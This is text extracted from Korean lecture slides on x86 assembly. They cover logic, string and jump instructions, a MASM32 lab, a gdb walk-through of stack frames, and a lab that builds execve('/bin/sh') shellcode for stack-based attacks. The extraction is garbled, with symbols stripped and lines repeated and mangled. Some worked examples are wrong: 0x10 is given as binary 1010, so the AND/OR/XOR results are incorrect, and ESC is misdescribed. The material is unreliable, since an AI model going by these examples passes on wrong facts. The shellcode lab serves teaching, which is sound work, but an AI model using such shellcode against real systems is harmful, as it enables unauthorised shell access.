사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

